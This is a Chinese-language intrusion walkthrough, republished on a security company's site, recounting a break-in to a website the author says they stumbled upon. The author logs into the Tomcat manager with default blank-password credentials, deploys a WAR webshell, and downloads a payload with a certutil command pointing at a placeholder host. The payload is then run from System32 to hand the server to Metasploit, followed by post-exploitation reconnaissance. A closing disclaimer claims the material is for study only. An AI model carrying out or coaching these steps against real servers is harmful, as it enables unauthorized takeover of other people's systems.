TomCat Getshell拿服务器权限实战_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

TomCat Getshell拿服务器权限实战

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


TomCat Getshell拿服务器权限实战

0x00 前言 无意中接触到一个网站,所以索性尝试一下,都是一些基本操作,大佬看看就可以了奥。注:由于保密问题,所有关于对方信息网址等各项信息都将保密打上马赛克,能打的都打上马赛克。 0x01 Tomcat入口 tomcat默认有个manager的管理后台app,密码存放在conf/tomcat-users.xml里面。如果tomcat是外网开放的,那么这个manager服务也是开放的,http://主机:端口/manager/html 可以看看是不是通的 首先我尝试一下默认账号admin 密码为空 发现可以进去 那真是太好了 登录进去之后 可以看到有一个上传war部署项目的,那么就用IDEA 打包一个webshell大马 部署进去即可,首先需要一个自备的webshell大马 随便找一个,然后打开IDEA创建一个项目 一直Next即可,然后把webshell拷贝到scr目录 选择Project Structure 选择Artifacts,然后再选择webApplication: Archive 打勾include in project build然后点击+号选择module Output 选择项目即可 然后选择build 选择build Artifacts 完事之后呢,上传部署即可 点击Deploy之后就可以看到 多了一个xssx,那么访问那个目录即可 命令执行 ipconfig,可以看到内网192.168.0.128,看看用户呢 0x02 权限移交MSF 尝试使用shellcode制作payload 编译后利用webshell上传到服务器,有最快捷的方法把payload上传到服务器(记得一定要内网穿透) 第一种就是使用CMD的命令certutil(然后使用CMD命令运行即可)命令: certutil -urlcache -split -f https://www.xxx.com/test.exe 第二种就是使用webshell的上传(同理,使用CMD命令运行PAYLOAD) 使用webshell来到服务器的C:WindowsSystem32目录下,然后uploadfile Jie.exe就是我们上传的payload,直接使用CMD运行 start C:WindowsSystem32jie.exe 内网的IP为192.168.0.128 0x03 信息搜集 1. 查看路由 2. 查看系统信息 3. 进入CMD命令行 然后Net User查看用户 4. 调用 post/windows/gather/dumplinks 来查看最近访问的文件 5. 调用 post/windows/gather/enum_applications 来查看目标主机安装软件的信息 这些都是常用的一些知识,平时一定要熟记于心的 文章来源:UzJu的安全屋 原文地址:https://uzzju.com/?id=56 黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文 END

TomCat Getshell拿服务器权限实战